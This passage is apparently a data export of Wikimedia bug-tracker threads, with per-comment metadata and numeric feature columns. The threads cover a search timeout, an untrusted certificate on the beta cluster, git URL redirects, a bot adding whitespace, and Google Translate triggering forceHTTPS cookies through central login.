+253032,"Error during search ""HTTP request timeout""","So, now I have ancounter it again. Using FF 22.0 at cs.wp I type to search box ""ethernit"" and hit ENTER. Within a few seconds I end up at Special:Search with red error message ""Při hledání došlo k chybě: Čas pro HTTP požadavek vypršel.""",,,1373879333,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-izo5s7v4lhf4partpmsl,task_subcomment,,True,c2,1,False,,,-7,True,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+253026,"Error during search ""HTTP request timeout""","Well I encounter this problem at cs.wp. But well, next time it happens, Ill describe it step by step.",,,1373553847,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-izo5s7v4lhf4partpmsl,task_subcomment,,True,c2,1,False,,,-7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+253017,"Error during search ""HTTP request timeout""","Hi Juan, 
+unfortunately this report is not very useful because it does not describe the problem well. If you have time and can still reproduce the problem, please read https://www.mediawiki.org/wiki/How_to_report_a_bug and add a more useful description to this report by providing exact steps to reproduce (for example ""at Wikimedia projects"" is too vague).",,,1373451410,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-izo5s7v4lhf4partpmsl,task_subcomment,,True,c2,1,True,,,-7,True,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,0
+51533,beta.wmflabs.org has a bad certificate,"Visiting https://en.wikipedia.beta.wmflabs.org/ gives a bad certificate.
+
+It is possible to fix the certificate? Thanks.
+
+Error code: sec_error_untrusted_issuer
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Low,25.0,1371139620,1377077878.0,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,False,PHID-TASK-we77qmelvw2y2qdqbkxj,task_description,resolved,True,c2,1,False,False,True,-11,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0
+234839,beta.wmflabs.org has a bad certificate,"Dupe, I think.
+
+*** This bug has been marked as a duplicate of bug 48501 ***",,,1377077878,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-we77qmelvw2y2qdqbkxj,task_subcomment,,True,c2,2,True,,,-1,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+51305,"For git server, rewrite http urls to https","http:// link that point to git, get a 404. Would it be worthwhile writing a rewrite in the apache config files that move the urls to https:// ?
+
+Unthinkingly, and through habit, I made the mistake of making the link protocol neutral. I can see that it would be useful to help workaround for others making that mistake.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",Low,25.0,1370608560,1420737271.0,PHID-USER-bmenasgfntvftznu6wxs,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-iqfoxyjadiqehc2a3hkx,task_description,invalid,True,c2,1,False,False,False,-12,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+396812,"For git server, rewrite http urls to https","Cannot reproduce either - at least there is no problem about http not redirecting to https what this task is about, hence closing this task.
+
+If there's a common issue about %2F vs. / in URLs: That could be a separate task, though lowest priority as we plan to kill Gerrit at some point in favor of Phabricator, plus probably something that's got to get tackled in upstream and not in Wikimedia's configuration.",,,1420737271,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-iqfoxyjadiqehc2a3hkx,task_subcomment,,True,c2,3,True,,,71,True,1,1,0,0,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+245559,"For git server, rewrite http urls to https","Is there still the problem with 404 errors?
+
+I just tried the link on Wikisource (HTTP and HTTPS versions) with IE8/WinXP, Firefox 3.0.3/WinXP, Opera 10/WinXP, Opera 12.16/Ubuntu Lucid, Firefox 20/Ubuntu Lucid and I never experienced a 404 error (neither another error). What browsers did you have?
+
+The Apache config of git.wikimedia.org didn’t really change since the beginning (see operations/puppet/templates/apache/sites/git.wikimedia.org).
+
+I thought also about an encoding bug in MediaWiki; I tried with the MediaWiki version which was on Wikisource then (1.22/wmf5) but the HTML really gives slashes encoded as %2F and didn’t experienced the error (with Opera 12.16/Ubuntu Lucid).
+
+I stop here the investigation about 404 error, unless there is still the problem. (the 404 error is a different bug than the bug title ""rewrite http -> https"".)",,,1378293928,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-iqfoxyjadiqehc2a3hkx,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,1
+245553,"For git server, rewrite http urls to https",*** Bug 49827 has been marked as a duplicate of this bug. ***,,,1371666651,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-iqfoxyjadiqehc2a3hkx,task_subcomment,,True,c2,1,False,,,-10,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+245547,"For git server, rewrite http urls to https","No, not that. This:
+
+https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FProofreadPage/e7233e3ba511bd859f16d36e84accb3342d858d9/ProofreadPage.body.php",,,1370652709,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-iqfoxyjadiqehc2a3hkx,task_subcomment,,True,c2,1,True,,,-12,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+245542,"For git server, rewrite http urls to https","Are you meaning 
+
+http://git.wikimedia.org/blob/mediawiki%2Fextensions%2FProofreadPage%2Fe7233e3ba511bd859f16d36e84accb3342d858d9%2FProofreadPage.body.php
+
+If so, that fails too. <shrug>",,,1370650864,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-iqfoxyjadiqehc2a3hkx,task_subcomment,,True,c2,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1
+245535,"For git server, rewrite http urls to https","Hmm, those /'s in the repo name (or file path) should be encoded as %2F :\",,,1370649935,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-iqfoxyjadiqehc2a3hkx,task_subcomment,,True,c2,1,True,,,-12,True,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+245529,"For git server, rewrite http urls to https","Well, I get
+
+<paste>
+
+Not Found
+
+The requested URL /blob/mediawiki/extensions/ProofreadPage/e7233e3ba511bd859f16d36e84accb3342d858d9/ProofreadPage.body.php was not found on this server.
+
+</paste>
+
+It was pointed out to me
+
+<quote> (ps your link is 404 error) </quote>
+
+ at https://en.wikisource.org/w/index.php?title=Wikisource:Requests_for_comment/Annotations_and_derivative_works&oldid=4467510
+
+so it is not only me that has the issue.",,,1370649863,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-iqfoxyjadiqehc2a3hkx,task_subcomment,,True,c2,1,False,,,-12,True,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,1
+245523,"For git server, rewrite http urls to https",Worksforme...,,,1370648763,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-iqfoxyjadiqehc2a3hkx,task_subcomment,,True,c2,1,True,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+245517,"For git server, rewrite http urls to https","It was a deeper link
+[//git.wikimedia.org/blob/mediawiki%2Fextensions%2FProofreadPage/e7233e3ba511bd859f16d36e84accb3342d858d9/ProofreadPage.body.php git]
+
+so http://git.wikimedia.org/blob/mediawiki%2Fextensions%2FProofreadPage/e7233e3ba511bd859f16d36e84accb3342d858d9/ProofreadPage.body.php",,,1370648619,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-iqfoxyjadiqehc2a3hkx,task_subcomment,,True,c2,1,False,,,-12,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1
+245510,"For git server, rewrite http urls to https","Huh? Example?
+
+http://git.wikimedia.org/ redirects to https://git.wikimedia.org/ for me.",,,1370610548,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-iqfoxyjadiqehc2a3hkx,task_subcomment,,True,c2,1,True,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,0,1,0,0,0,0
+58316,OpenStackManager: Nova resource pages are endlessly prepended with line break whitespace on each update by Labslogbot,"See https://wikitech.wikimedia.org/w/index.php?title=Nova_Resource:I-00000601&action=history
+
+
+eg. when trying to restart the bot or read something, finding a seemingly blank page like this https://wikitech.wikimedia.org/w/index.php?title=Nova_Resource:I-00000601&oldid=87399 is a bit annoying.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Lowest,10.0,1383058800,1437750727.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-vk6mlmacfhx77egryy5i,False,PHID-TASK-v2mguuhedbp2cvaxaet6,task_description,resolved,True,c2,3,True,False,False,8,True,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+496419,OpenStackManager: Nova resource pages are endlessly prepended with line break whitespace on each update by Labslogbot,"A cursory look at the (deleted and before that moved) page referenced in this task and current pages showed that now apparently only one newline is prepended by Labslogbot, while previously one was prepended with each update.  So I'm closing this as resolved; if I missed a (current) case, please reopen.",,,1437750727,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-v2mguuhedbp2cvaxaet6,task_subcomment,,True,c2,3,True,,,99,True,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+57887,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**Author:** `salisria`
+
+**Description:**
+I had originally filed this as a reopening of bug 54626 (comment 9 https://bugzilla.wikimedia.org/show_bug.cgi?id=54626#c9 ) as I was uncertain what had triggered it.  Now I know.  When I translate a wikipage with Google, that is when the forceHTTPS cookies are being set despite that breaking my preferences.
+
+In case this affects things, at the time I do that, I am not signed in to Google, but I am signed in to Wikipedia.  When I translate the webpage on Goggle that is when I first get the popup message:
+""Central login
+You are centrally logged in as <username>. Reload the page to apply your user settings.""
+That also is likely when the fifteen unwanted cookies are placed.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=57081",Lowest,10.0,1382118000,1434983614.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-4my7skcf3xoomjiuspgw,task_description,declined,True,c2,3,False,False,False,7,True,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+479625,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"@faidon, this is still a bug, possibly upsteam in Google Translate, but these two websites are commonly used together and someone needs to prevent this popup message, which is incorrect, from appearing.",,,1435024600,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,True,,,94,True,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0
+479059,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"As I understand it, this task is now moot: HTTPS is the default for everyone and there is no opt-out.",,,1434983614,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,True,,,94,True,0,1,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+478662,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"I see this quite regularly, and I agree it is a bit disconcerting.  Also the message (""Reload the page to apply your user settings"") is incorrect, as reloading the page does not apply your settings.  Don't send the cookies to Google's translate service IPs? :-)",,,1434873481,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,True,,,94,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0
+260167,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:
+
+I could have been far more acerbic than I was, but I also didn't think it would have been helpful, especially since that boat has already floated.  Still, I do hope you'll eventually fix this, since it looks like the proper fix would be to provide a much needed global method to specify HTTPS use instead of the kludgy per site basis.  I can't think of any reason why anyone would want to use HTTPS on some Wikimedia sites and not use it on others.",,,1384240781,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,False,,,10,True,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+260162,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"""Wales' privacy fears"" (I don't consider such comments very helpful) didn't play much of a role when planning https://meta.wikimedia.org/wiki/HTTPS , and there are no plans to spend much time on corner cases...",,,1384169944,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,True,,,10,True,1,0,1,0,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,1,1,1,0,1,0,0,0
+260157,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:
+
+Let me present a scenario ask if this is indeed what would happen.  If were logged out of wikimedia and then visited a site where I have not set the preference as I desired and then for some odd reason, logged in there, would I get the cookies set? If I understand you correctly, it would.
+
+In that case, the bug is that while you have a preference to allow a person to choose ""Always use a secure connection when logged in"" (an option which which is now by default always enabled unless one chooses opt-out)  there is no option to specify ""Never use a secure connection when logged in"".
+
+Incidentally, when I first noticed the problem I tried manually editing the cookies to have a value of ""0"" instead of ""1"" in hopes they were a boolean flag, but that didn't work, but perhaps you should consider doing that.
+
+However you choose to implement it, it sounds like you need to replace the kludge you used to enforce Wales' privacy fears with one that allows those of us who don't share them to opt out globally, instead of having to make us opt out potentially hundreds of times.",,,1384121168,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,False,,,10,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,0
+260151,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"This is something of a bug/feature of google translate. Google gets the html from the site (anonymously) and presents that html in an iframe on googleusercontent.com. Since you're not logged in, the javascript on the page (running in the googleusercontent.com domain) pings loginwiki and the target wiki and, and ""logs in"" to the target wiki (even though you're actually already logged in..). After that succeeds, that javascript replaces the html div with your username, which it can do on googleusercontent's html since it's same domain.
+
+Unfortunately for Carolina, we use the preferences for the target wiki when the login protocol runs, and as she mentioned, the default preference there is to enable https, and we set the forceHTTPS cookie at that point.
+
+So unfortunately, the only way to get around this for Carolina is to update the preference across wikis.",,,1383951158,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,True,,,10,True,0,1,0,0,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,1,1,0,0,1,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+260143,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:
+
+Just to clarify:  I have the ""Always use a secure connection when logged in"" set to off, not on as Andre did.  I want to use HTTP, not HTTPS.  I do not need the security features of HTTPS for my own use and HTTPS uses more bandwidth.",,,1383944339,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,False,,,10,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0
+260136,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:
+
+(In reply to comment #4) 
+> Please pardon my ignorance, but which exact problem does this create with the
+> cookies?
+
+My own problem is that by placing the cookies, they override my explicitly set preference to not use HTTPS on en.wikipedia etc.,  In order to get back to not being forced to using HTTPS, I have to both manually delete the cookies and then log back out and back in.",,,1383944109,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,False,,,10,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+260127,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,Gotcha. CC'ing csteipp due to the idea of CSRF.,,,1383934374,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,True,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+260118,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"Being automatically logged-in while you're viewing the page from an untrusted (non-WMF) domain is scary at least.
+
+Would it be possible for us to suffer a CSRF attack because of this?",,,1383933294,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,True,,,10,True,0,0,0,1,0,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,1,1,0,1,0
+260110,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"1. Using Google Chrome 30, not logged in on google.com, logged in on en.wikipedia.org.
+2. ""Always use a secure connection when logged in"" is enabled on https://en.wikipedia.org/w/index.php?title=Special:Preferences#mw-prefsection-personal
+3. I go to http://translate.google.com/
+4. I paste http://en.wikipedia.org/wiki/Home_Nations in the text field
+5. I choose (translate to) ""Spanish""
+6. I click the ""Translate"" button
+
+RESULT:
+In the upper right corner, for a moment I see ""Create an account"" etc in Spanish. After two seconds, I see my user name there.
+
+
+Please pardon my ignorance, but which exact problem does this create with the cookies?",,,1383932990,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,True,,,10,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+260104,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:
+
+I need to be globally logged in with Wikimedia (which is always).
+
+I need to do a Google translation of a Wikimedia page. When I do that, the upper right area, briefly shows the ""Create account"" stuff then it will after a second or two recognize I'm globally logged in and show the usual ""Carolina wren Talk Preferences Watchlist Contributions Log out"" options.
+
+If this is for a site which I've specified that my user preference is to not use HTTPS, everything is fine.
+
+If this were for a site which I had not specified my user preference is to not use HTTPS, that is when the problem occurs. (With accounts automatically set up whenever I visit another version while globally logged in, I've managed to accrue over 100 such per site accounts despite being active on only a few, so I haven't preemptively tried to change the preference for all of them.)
+
+The problem does not occur if I simply visit the untranslated page on a site I haven't yet set the preference for.  While that page, as expected, uses HTTPS, it does not set the fifteen forceHTTPS cookies for commons, incubator, login, mediawiki, meta, species, wikibooks, wikidata, wikinews, wikipedia, wikiquote, wikisource, wikiversity, wikivoyage, and wiktionary that are set if I view that same page via Google Translate.
+
+Note that Google seems to have tweaked what it is doing so that I'm no longer getting the in-window Central Login message when I view the translated page, but I'm still getting the unwanted cookies, and the Central Login message shows when I next view a Wikimedia page directly.",,,1383929851,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,False,,,10,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,0,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+260099,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"Hi Carolina! Sorry that nobody has taken a look at this report yet and given feedback.
+
+What is the exact order of steps to follow to reproduce this problem?",,,1383924240,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,True,,,10,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0
+260094,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:
+
